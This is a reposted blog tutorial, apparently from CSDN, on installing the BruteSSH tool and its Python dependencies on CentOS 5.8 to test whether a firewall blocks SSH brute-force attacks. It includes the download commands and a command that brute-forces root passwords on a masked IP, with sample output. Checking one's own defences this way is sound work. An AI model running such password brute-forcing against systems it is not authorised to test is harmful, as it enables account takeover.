Install brutessh on CentOS 5.8

最新推荐文章于 2024-09-01 11:24:26 发布

feier7501

最新推荐文章于 2024-09-01 11:24:26 发布

阅读量1.2k

点赞数

分类专栏：安全

安全专栏收录该内容

8 篇文章

订阅专栏

本文介绍如何在CentOS 5.8环境下安装并使用BruteSSH工具进行SSH暴力破解攻击模拟。首先安装必要的Python模块crypto和paramiko，然后下载BruteSSH工具并设置密码字典文件，最后通过命令行运行BruteSSH来测试防火墙是否能够有效防御此类攻击。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

http://kezhong.wordpress.com/2012/10/30/install-brutessh-on-centos-5-8/

For security reason, our NOC team should limit ssh access outside from our customers so as to prevent SSH brute force attacks. After tuned the firewall of routers, we need to test if the firewall works. So we installed brutessh to simulate SSH brute force attacks to our test server. Beware, don’t use brutessh to try others’ IPs.

Install the crypto and paramiko for python
# wget http://pkgs.repoforge.org/python-crypto/python-crypto-2.0.1-1.el5.rf.x86_64.rpm
# rpm -ivh python-crypto-2.0.1-1.el5.rf.x86_64.rpm
# wget http://pkgs.repoforge.org/python-paramiko/python-paramiko-1.7.6-1.el5.rf.noarch.rpm
# rpm -ivh python-paramiko-1.7.6-1.el5.rf.noarch.rpm

Install brutessh
# wget http://getwapi.com/archive/download/file/lhgm5_vN/brutessh-06.tar
# tar xvf brutessh-06.tar
# cd brutessh
# chmod 744 *.py

Make up a passlist file named passlist.txt or you can download the dictionary from John the Ripper as my past post http://kezhong.wordpress.com/2011/09/26/installing-thc-hydra-on-fedora-15/

Simulate SSH brute force attacks
# python brutessh.py -h xxx.xxx.xxx.xxx -u root -d passlist.txt
*************************************
*SSH Bruteforcer Ver. 0.6           *
*Coded by Christian Martorella      *
*Edge-Security Research             *
*cmartorella@edge-security.com      *
*************************************

HOST: xxx.xxx.xxx.xxx
Username: root
Password file: passlist.txt
=========================================================
Trying password…
2/3 password

Times — > Init: 0.02 End: 0.28

On our attacked server, we can check the situation.
# tail -f /var/log/secure